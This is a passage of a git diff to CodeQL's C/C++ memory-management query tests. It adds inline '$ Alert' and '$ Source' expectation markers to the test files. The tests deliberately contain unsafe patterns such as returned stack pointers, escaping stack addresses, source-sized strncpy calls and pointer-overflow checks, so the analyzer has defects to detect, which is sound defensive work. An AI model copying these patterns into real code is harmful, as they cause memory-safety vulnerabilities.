buffer[len3] = 0; // BAD + buffer[len3] = 0; // BAD // $ Alert } } @@ -92,7 +92,7 @@ void test2(size_t len) { char buffer[256]; - buffer[len] = 0; // BAD + buffer[len] = 0; // BAD // $ Alert } void test3(size_t len) @@ -104,5 +104,5 @@ int test4(const char *source, size_t len) { char buffer[256]; - return memcmp(buffer, source, ntohl(len)); // BAD + return memcmp(buffer, source, ntohl(len)); // BAD // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/More64BitWaste/More64BitWaste.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/More64BitWaste/More64BitWaste.qlref index 614ac0198bec..48d907018a89 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/More64BitWaste/More64BitWaste.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/More64BitWaste/More64BitWaste.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/Padding/More64BitWaste.ql \ No newline at end of file +query: Likely Bugs/Memory Management/Padding/More64BitWaste.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/More64BitWaste/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/More64BitWaste/test.cpp index 0703d4dfe78e..c30d492d13bd 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/More64BitWaste/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/More64BitWaste/test.cpp @@ -14,7 +14,7 @@ struct test3 int x, y, z; }; -struct test4 // BAD +struct test4 // BAD // $ Alert { int a; long long b; @@ -26,7 +26,7 @@ struct test5 int b; }; -struct test6 // BAD +struct test6 // BAD // $ Alert { char as[4]; long long b; diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/NonPortablePrintf/NonPortablePrintf.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/NonPortablePrintf/NonPortablePrintf.qlref index ee9f4a7debb7..7ba5352553d7 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/NonPortablePrintf/NonPortablePrintf.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/NonPortablePrintf/NonPortablePrintf.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/Padding/NonPortablePrintf.ql \ No newline at end of file +query: Likely Bugs/Memory Management/Padding/NonPortablePrintf.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/NonPortablePrintf/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/NonPortablePrintf/test.cpp index e197819ba10f..7408440fa037 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/NonPortablePrintf/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/NonPortablePrintf/test.cpp @@ -7,10 +7,10 @@ void test1() void *ptr; printf("%ld\n", l); // GOOD - printf("%d\n", l); // BAD + printf("%d\n", l); // BAD // $ Alert printf("%p\n", ptr); // GOOD - printf("%d\n", ptr); // BAD - printf("%u\n", ptr); // BAD - printf("%x\n", ptr); // BAD + printf("%d\n", ptr); // BAD // $ Alert + printf("%u\n", ptr); // BAD // $ Alert + printf("%x\n", ptr); // BAD // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/Suboptimal64BitType/Suboptimal64BitType.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/Suboptimal64BitType/Suboptimal64BitType.qlref index 3ad68ed8cec5..26c576ecaf97 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/Suboptimal64BitType/Suboptimal64BitType.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/Suboptimal64BitType/Suboptimal64BitType.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/Padding/Suboptimal64BitType.ql \ No newline at end of file +query: Likely Bugs/Memory Management/Padding/Suboptimal64BitType.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/Suboptimal64BitType/types.c b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/Suboptimal64BitType/types.c index e4f86df394e2..14533d574971 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/Suboptimal64BitType/types.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/Padding/Suboptimal64BitType/types.c @@ -8,7 +8,7 @@ // - 6 bytes: char d[6] // - 2 bytes: trailing padding // Optimal layout removes 8 bytes padding, leaves 2 bytes trailing padding. -typedef struct a { +typedef struct a { // $ Alert int a; double b; int c; diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/PointerOverflow/PointerOverflow.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/PointerOverflow/PointerOverflow.qlref index 2cad0c8bd7f7..b24ce18e5839 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/PointerOverflow/PointerOverflow.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/PointerOverflow/PointerOverflow.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/PointerOverflow.ql +query: Likely Bugs/Memory Management/PointerOverflow.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/PointerOverflow/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/PointerOverflow/test.cpp index f4d3dbfe1814..7baf2b138e8d 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/PointerOverflow/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/PointerOverflow/test.cpp @@ -3,7 +3,7 @@ bool check_pointer_overflow(P *ptr) { // x86-64 gcc 9.2 -O2: deleted // x86-64 clang 9.9.9 -O2: deleted // x64 msvc v19.22 /O2: not deleted - return ptr + 0x12345678 < ptr; // BAD + return ptr + 0x12345678 < ptr; // BAD // $ Alert } bool check_pointer_overflow(P *ptr, P *ptr_end) { // x86-64 gcc 9.2 -O2: not deleted @@ -30,7 +30,7 @@ typedef unsigned long size_t; bool not_in_range_bad(Q *ptr, Q *ptr_end, size_t a) { return ptr + a >= ptr_end || // GOOD (for the purpose of this test) - ptr + a < ptr; // BAD + ptr + a < ptr; // BAD // $ Alert } bool not_in_range_good(Q *ptr, Q *ptr_end, size_t a) { @@ -46,9 +46,9 @@ extern "C" void abort(void); #define MYASSERT(cond) if (cond) abort() void assert_not_in_range_bad(Q *ptr, Q *ptr_end, size_t a) { - MYASSERT(ptr + a >= ptr_end || ptr + a < ptr); // BAD + MYASSERT(ptr + a >= ptr_end || ptr + a < ptr); // BAD // $ Alert MYASSERT(ptr + a >= ptr_end); // GOOD (for the purpose of this test) - MYASSERT(ptr + a < ptr); // BAD + MYASSERT(ptr + a < ptr); // BAD // $ Alert } #define IS_LESS_THAN(lhs, rhs) ((lhs) < (rhs)) diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnCstrOfLocalStdString/ReturnCstrOfLocalStdString.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnCstrOfLocalStdString/ReturnCstrOfLocalStdString.qlref index e8864277b4fd..1921529a00be 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnCstrOfLocalStdString/ReturnCstrOfLocalStdString.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnCstrOfLocalStdString/ReturnCstrOfLocalStdString.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/ReturnCstrOfLocalStdString.ql +query: Likely Bugs/Memory Management/ReturnCstrOfLocalStdString.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnCstrOfLocalStdString/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnCstrOfLocalStdString/test.cpp index c27cb77b1d89..9d34364339d2 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnCstrOfLocalStdString/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnCstrOfLocalStdString/test.cpp @@ -21,7 +21,7 @@ namespace std { const char* bad000() { std::string localStr("Test string"); - return localStr.c_str(); + return localStr.c_str(); // $ Alert } const char* good001(const std::string& p) { @@ -29,7 +29,7 @@ const char* good001(const std::string& p) { } const char* bad001() { - return std::string("Test string").c_str(); + return std::string("Test string").c_str(); // $ Alert } @@ -42,7 +42,7 @@ class _JNIEnv { jstring get_hello(_JNIEnv *env) { std::string hello = "Hello world"; - return env->NewStringUTF(hello.c_str()); + return env->NewStringUTF(hello.c_str()); // $ Alert } void good002_helper(std::string*); diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnStackAllocatedMemory/ReturnStackAllocatedMemory.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnStackAllocatedMemory/ReturnStackAllocatedMemory.qlref index 9ca456820068..f35aff41b04b 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnStackAllocatedMemory/ReturnStackAllocatedMemory.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnStackAllocatedMemory/ReturnStackAllocatedMemory.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/ReturnStackAllocatedMemory.ql +query: Likely Bugs/Memory Management/ReturnStackAllocatedMemory.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnStackAllocatedMemory/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnStackAllocatedMemory/test.cpp index 07e3520fa814..45d1431c04d4 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnStackAllocatedMemory/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ReturnStackAllocatedMemory/test.cpp @@ -14,15 +14,15 @@ MyClass *test1() { MyClass mc; - return &mc; // BAD + return &mc; // BAD // $ Alert } MyClass *test2() { MyClass mc; - MyClass *ptr = &mc; + MyClass *ptr = &mc; // $ Source - return ptr; // BAD + return ptr; // BAD // $ Alert } MyClass *test3() @@ -36,22 +36,22 @@ MyClass *test3() MyClass *test4() { MyClass mc; - MyClass &ref = mc; + MyClass &ref = mc; // $ Source - return &ref; // BAD + return &ref; // BAD // $ Alert } MyClass &test5() { MyClass mc; - return mc; // BAD + return mc; // BAD // $ Alert } int *test6() { MyClass mc; - return &(mc.a); // BAD + return &(mc.a); // BAD // $ Alert } MyClass test7() @@ -86,10 +86,10 @@ MyClass *test11() { MyClass mc; - ptr = &mc; + ptr = &mc; // $ Source } - return ptr; // BAD + return ptr; // BAD // $ Alert } MyClass *test12(MyClass *param) @@ -109,14 +109,14 @@ char *testArray1() { char arr[256]; - return arr; // BAD + return arr; // BAD // $ Alert } char *testArray2() { char arr[256]; - return &(arr[10]); // BAD + return &(arr[10]); // BAD // $ Alert } char testArray3() @@ -131,10 +131,10 @@ char *testArray4() char arr[256]; char *ptr; - ptr = arr + 1; + ptr = arr + 1; // $ Source ptr++; - return ptr; // BAD + return ptr; // BAD // $ Alert } char *testArray5() @@ -167,27 +167,27 @@ char *returnAfterCopy() { void *conversionBeforeDataFlow() { int myLocal; - void *pointerToLocal = (void *)&myLocal; // has conversion - return pointerToLocal; // BAD + void *pointerToLocal = (void *)&myLocal; // has conversion // $ Source + return pointerToLocal; // BAD // $ Alert } void *arrayConversionBeforeDataFlow() { int localArray[4]; - int *pointerToLocal = localArray; // has conversion - return pointerToLocal; // BAD + int *pointerToLocal = localArray; // has conversion // $ Source + return pointerToLocal; // BAD // $ Alert } int &dataFlowThroughReference() { int myLocal; - int &refToLocal = myLocal; // has conversion - return refToLocal; // BAD + int &refToLocal = myLocal; // has conversion // $ Source + return refToLocal; // BAD // $ Alert } int *&conversionInFlow() { int myLocal; int *p = &myLocal; - int *&pRef = p; // has conversion in the middle of data flow - return pRef; // BAD + int *&pRef = p; // has conversion in the middle of data flow // $ Source + return pRef; // BAD // $ Alert } namespace std { @@ -234,20 +234,20 @@ void f() { void *alloca(size_t); void* test_alloca() { - void* p = alloca(10); - return p; // BAD + void* p = alloca(10); // $ Source + return p; // BAD // $ Alert } char *strdupa(const char *); char *strndupa(const char *, size_t); char* test_strdupa(const char* s) { - return strdupa(s); // BAD + return strdupa(s); // BAD // $ Alert } void* test_strndupa(const char* s, size_t size) { - char* s2 = strndupa(s, size); - return s2; // BAD + char* s2 = strndupa(s, size); // $ Source + return s2; // BAD // $ Alert } int* f_rec(int *p) { diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StackAddressEscapes/StackAddressEscapes.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StackAddressEscapes/StackAddressEscapes.qlref index 9442d89a36d5..c5fff4b22340 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StackAddressEscapes/StackAddressEscapes.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StackAddressEscapes/StackAddressEscapes.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/StackAddressEscapes.ql \ No newline at end of file +query: Likely Bugs/Memory Management/StackAddressEscapes.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StackAddressEscapes/manager.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StackAddressEscapes/manager.cpp index 8b73bffb04ab..02a67eb9761b 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StackAddressEscapes/manager.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StackAddressEscapes/manager.cpp @@ -48,7 +48,7 @@ manager *test_managers() std::vector vs; a.set_strings(vs); // BAD: stack address `&vs` escapes [NOT DETECTED] - glob_man = &man; // BAD: stack address `&man` escapes + glob_man = &man; // BAD: stack address `&man` escapes // $ Alert return &man; // BAD: stack address `&man` escapes [NOT DETECTED] } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StackAddressEscapes/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StackAddressEscapes/test.cpp index 19cfd214e180..34717346978f 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StackAddressEscapes/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StackAddressEscapes/test.cpp @@ -19,7 +19,7 @@ int test101() { int x = 0; // BAD: local address is written to a static variable, which could // be unsafe. - s101.p = &x; + s101.p = &x; // $ Alert return x; } @@ -28,7 +28,7 @@ int test102() { static struct S100 s102; // BAD: local address is written to a local static variable, which could // be unsafe. - s102.p = &x; + s102.p = &x; // $ Alert return x; } @@ -36,7 +36,7 @@ void test103(int *p) { static struct S100 s103; // BAD: address is written to a local static variable, which could // be unsafe. - s103.p = p; + s103.p = p; // $ Alert } // Helper for test103. @@ -75,7 +75,7 @@ int test105() { p3++; // BAD: local address is written to a static variable, which could // be unsafe. - s101.p = p3; + s101.p = p3; // $ Alert return x; } @@ -86,7 +86,7 @@ void test106() { S100 s; // BAD: local address is written to a static variable, which could // be unsafe. - s106.p = &(s.i); + s106.p = &(s.i); // $ Alert } // Test for reference types. @@ -97,7 +97,7 @@ int test107() { r1++; // BAD: local address is written to a static variable, which could // be unsafe. - s101.p = &r1; + s101.p = &r1; // $ Alert return r1; } @@ -124,7 +124,7 @@ int test201() { int x = 0; // BAD: local address is written to a static variable, which could // be unsafe. - s201.p = &x; + s201.p = &x; // $ Alert return x; } @@ -133,7 +133,7 @@ int test202() { static struct S200 s202; // BAD: local address is written to a local static variable, which could // be unsafe. - s202.p = &x; + s202.p = &x; // $ Alert return x; } @@ -142,7 +142,7 @@ static const int* xptr; void example1() { int x = 0; - xptr = &x; // BAD: address of local variable stored in non-local memory. + xptr = &x; // BAD: address of local variable stored in non-local memory. // $ Alert } void example2() { @@ -166,27 +166,27 @@ void test301() { int b2[14][15]; int b3[13][14][15]; - s.p1 = b1; // BAD: address of local variable stored in non-local memory. - s.p1 = &b1[1]; // BAD: address of local variable stored in non-local memory. - - s.p2 = b2; // BAD: address of local variable stored in non-local memory. - s.p2 = &b2[1]; // BAD: address of local variable stored in non-local memory. - s.p1 = b2[1]; // BAD: address of local variable stored in non-local memory. - s.p1 = &b2[1][2]; // BAD: address of local variable stored in non-local memory. - - s.p3 = b3; // BAD: address of local variable stored in non-local memory. - s.p3 = &b3[1]; // BAD: address of local variable stored in non-local memory. - s.p2 = b3[1]; // BAD: address of local variable stored in non-local memory. - s.p2 = &b3[1][2]; // BAD: address of local variable stored in non-local memory. - s.p1 = b3[1][2]; // BAD: address of local variable stored in non-local memory. - s.p1 = &b3[1][2][3]; // BAD: address of local variable stored in non-local memory. - - s.pp[0] = b1; // BAD: address of local variable stored in non-local memory. - s.pp[0] = &b1[1]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = b2[1]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = &b2[1][2]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = b3[1][2]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = &b3[1][2][3]; // BAD: address of local variable stored in non-local memory. + s.p1 = b1; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p1 = &b1[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + + s.p2 = b2; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p2 = &b2[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p1 = b2[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p1 = &b2[1][2]; // BAD: address of local variable stored in non-local memory. // $ Alert + + s.p3 = b3; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p3 = &b3[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p2 = b3[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p2 = &b3[1][2]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p1 = b3[1][2]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p1 = &b3[1][2][3]; // BAD: address of local variable stored in non-local memory. // $ Alert + + s.pp[0] = b1; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = &b1[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = b2[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = &b2[1][2]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = b3[1][2]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = &b3[1][2][3]; // BAD: address of local variable stored in non-local memory. // $ Alert } void test302() { @@ -212,41 +212,41 @@ void test302() { // Even though s is local, we don't know that s.pp is local because // there is a pointer indirection involved. - s.pp[0] = b1; // BAD: address of local variable stored in non-local memory. - s.pp[0] = &b1[1]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = b2[1]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = &b2[1][2]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = b3[1][2]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = &b3[1][2][3]; // BAD: address of local variable stored in non-local memory. + s.pp[0] = b1; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = &b1[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = b2[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = &b2[1][2]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = b3[1][2]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = &b3[1][2][3]; // BAD: address of local variable stored in non-local memory. // $ Alert } void test303() { static S300 s; S300 x; - s.p1 = x.a1; // BAD: address of local variable stored in non-local memory. - s.p1 = &x.a1[1]; // BAD: address of local variable stored in non-local memory. + s.p1 = x.a1; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p1 = &x.a1[1]; // BAD: address of local variable stored in non-local memory. // $ Alert - s.p2 = x.a2; // BAD: address of local variable stored in non-local memory. - s.p2 = &x.a2[1]; // BAD: address of local variable stored in non-local memory. - s.p1 = x.a2[1]; // BAD: address of local variable stored in non-local memory. - s.p1 = &x.a2[1][2]; // BAD: address of local variable stored in non-local memory. + s.p2 = x.a2; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p2 = &x.a2[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p1 = x.a2[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p1 = &x.a2[1][2]; // BAD: address of local variable stored in non-local memory. // $ Alert - s.p3 = x.a3; // BAD: address of local variable stored in non-local memory. - s.p3 = &x.a3[1]; // BAD: address of local variable stored in non-local memory. - s.p2 = x.a3[1]; // BAD: address of local variable stored in non-local memory. - s.p2 = &x.a3[1][2]; // BAD: address of local variable stored in non-local memory. - s.p1 = x.a3[1][2]; // BAD: address of local variable stored in non-local memory. - s.p1 = &x.a3[1][2][3]; // BAD: address of local variable stored in non-local memory. + s.p3 = x.a3; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p3 = &x.a3[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p2 = x.a3[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p2 = &x.a3[1][2]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p1 = x.a3[1][2]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.p1 = &x.a3[1][2][3]; // BAD: address of local variable stored in non-local memory. // $ Alert // Even though s is local, we don't know that s.pp is local because // there is a pointer indirection involved. - s.pp[0] = x.a1; // BAD: address of local variable stored in non-local memory. - s.pp[0] = &x.a1[1]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = x.a2[1]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = &x.a2[1][2]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = x.a3[1][2]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = &x.a3[1][2][3]; // BAD: address of local variable stored in non-local memory. + s.pp[0] = x.a1; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = &x.a1[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = x.a2[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = &x.a2[1][2]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = x.a3[1][2]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = &x.a3[1][2][3]; // BAD: address of local variable stored in non-local memory. // $ Alert } void test304() { @@ -270,12 +270,12 @@ void test304() { // Even though s is local, we don't know that s.pp is local because // there is a pointer indirection involved. - s.pp[0] = x.a1; // BAD: address of local variable stored in non-local memory. - s.pp[0] = &x.a1[1]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = x.a2[1]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = &x.a2[1][2]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = x.a3[1][2]; // BAD: address of local variable stored in non-local memory. - s.pp[0] = &x.a3[1][2][3]; // BAD: address of local variable stored in non-local memory. + s.pp[0] = x.a1; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = &x.a1[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = x.a2[1]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = &x.a2[1][2]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = x.a3[1][2]; // BAD: address of local variable stored in non-local memory. // $ Alert + s.pp[0] = &x.a3[1][2][3]; // BAD: address of local variable stored in non-local memory. // $ Alert } struct S400 { @@ -309,11 +309,11 @@ int test400() { s.p0 = &x; // GOOD: s.p0 is on the stack. s.p1[1] = &x; // GOOD: s.p1 is on the stack. s.p2[1][2] = &x; // GOOD: s.p1 is on the stack. - s.q1[1] = &x; // BAD: pointer indirection to the heap. - s.q2[1][2] = &x; // BAD: pointer indirection to the heap. - s.q3[1][2][3] = &x; // BAD: pointer indirection to the heap. - s.r2[1][2] = &x; // BAD: pointer indirection to the heap. - s.r3[1][2][3] = &x; // BAD: pointer indirection to the heap. + s.q1[1] = &x; // BAD: pointer indirection to the heap. // $ Alert + s.q2[1][2] = &x; // BAD: pointer indirection to the heap. // $ Alert + s.q3[1][2][3] = &x; // BAD: pointer indirection to the heap. // $ Alert + s.r2[1][2] = &x; // BAD: pointer indirection to the heap. // $ Alert + s.r3[1][2][3] = &x; // BAD: pointer indirection to the heap. // $ Alert return x; } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StrncpyFlippedArgs/StrncpyFlippedArgs.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StrncpyFlippedArgs/StrncpyFlippedArgs.qlref index bf0bf1ea7d05..3a2ef158d3d6 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StrncpyFlippedArgs/StrncpyFlippedArgs.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StrncpyFlippedArgs/StrncpyFlippedArgs.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/StrncpyFlippedArgs.ql \ No newline at end of file +query: Likely Bugs/Memory Management/StrncpyFlippedArgs.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StrncpyFlippedArgs/test.c b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StrncpyFlippedArgs/test.c index 2ed60b96315e..bba5318fc328 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StrncpyFlippedArgs/test.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StrncpyFlippedArgs/test.c @@ -19,7 +19,7 @@ void good0(char *arg) { void bad0(char *arg) { char buf[80]; // BAD: Checks size of source - strncpy(buf, arg, strlen(arg)); + strncpy(buf, arg, strlen(arg)); // $ Alert } @@ -30,6 +30,6 @@ void good1(const char *buf, char *arg) { void bad1(const char *buf, char *arg) { // BAD: Checks size of source - strncpy(buf, arg, strlen(arg)); + strncpy(buf, arg, strlen(arg)); // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StrncpyFlippedArgs/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StrncpyFlippedArgs/test.cpp index ad2e39b748e2..89fcbc432edc 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StrncpyFlippedArgs/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/StrncpyFlippedArgs/test.cpp @@ -18,9 +18,9 @@ void test1() const char *str = "01234567890123456789"; strncpy(buf1, str, sizeof(buf1)); - strncpy(buf1, str, strlen(str)); // BAD - strncpy(buf1, str, strlen(str) + 1); // BAD - strncpy(buf1, buf2, sizeof(buf2)); // BAD + strncpy(buf1, str, strlen(str)); // BAD // $ Alert + strncpy(buf1, str, strlen(str) + 1); // BAD // $ Alert + strncpy(buf1, buf2, sizeof(buf2)); // BAD // $ Alert } void test2() @@ -29,12 +29,12 @@ void test2() wchar_t buf2[20]; const wchar_t *str = L"01234567890123456789"; - wcsncpy(buf1, str, sizeof(buf1)); // (bad, but not a strncpyflippedargs bug) + wcsncpy(buf1, str, sizeof(buf1)); // (bad, but not a strncpyflippedargs bug) // $ Alert wcsncpy(buf1, str, sizeof(buf1) / sizeof(wchar_t)); - wcsncpy(buf1, str, wcslen(str)); // BAD - wcsncpy(buf1, str, wcslen(str) + 1); // BAD - wcsncpy(buf1, buf2, sizeof(buf2)); // BAD - wcsncpy(buf1, buf2, sizeof(buf2) / sizeof(wchar_t)); // BAD [NOT DETECTED] + wcsncpy(buf1, str, wcslen(str)); // BAD // $ Alert + wcsncpy(buf1, str, wcslen(str) + 1); // BAD // $ Alert + wcsncpy(buf1, buf2, sizeof(buf2)); // BAD // $ Alert + wcsncpy(buf1, buf2, sizeof(buf2) / sizeof(wchar_t)); // BAD [NOT DETECTED] // $ Alert } void test3() @@ -44,9 +44,9 @@ void test3() const char *str = "01234567890123456789"; strcpy_s(buf1, sizeof(buf1), str); - strcpy_s(buf1, strlen(str), str); // BAD - strcpy_s(buf1, strlen(str) + 1, str); // BAD - strcpy_s(buf1, sizeof(buf2), buf2); // BAD + strcpy_s(buf1, strlen(str), str); // BAD // $ Alert + strcpy_s(buf1, strlen(str) + 1, str); // BAD // $ Alert + strcpy_s(buf1, sizeof(buf2), buf2); // BAD // $ Alert } struct S { @@ -59,10 +59,10 @@ void test4(S *a, S *b) { strncpy(a->x, b->x, sizeof(a->x)); // GOOD strncpy(a->x, b->x, sizeof(b->x)); // GOOD (sizes match, so it's ok) - strncpy(a->x, b->z, sizeof(b->z)); // BAD + strncpy(a->x, b->z, sizeof(b->z)); // BAD // $ Alert strncpy(a->y, b->y, strlen(a->y) + 1); // GOOD - strncpy(a->y, b->y, strlen(b->y) + 1); // BAD + strncpy(a->y, b->y, strlen(b->y) + 1); // BAD // $ Alert } void test5(char *buf) @@ -78,10 +78,10 @@ void test6(T *a, T *b) { strncpy(a->s->x, b->s->x, sizeof(a->s->x)); // GOOD strncpy(a->s->x, b->s->x, sizeof(b->s->x)); // GOOD (sizes match, so it's ok) - strncpy(a->s->x, b->s->x, sizeof(b->s->z)); // BAD + strncpy(a->s->x, b->s->x, sizeof(b->s->z)); // BAD // $ Alert strncpy(a->s->y, b->s->y, strlen(a->s->y) + 1); // GOOD - strncpy(a->s->y, b->s->y, strlen(b->s->y) + 1); // 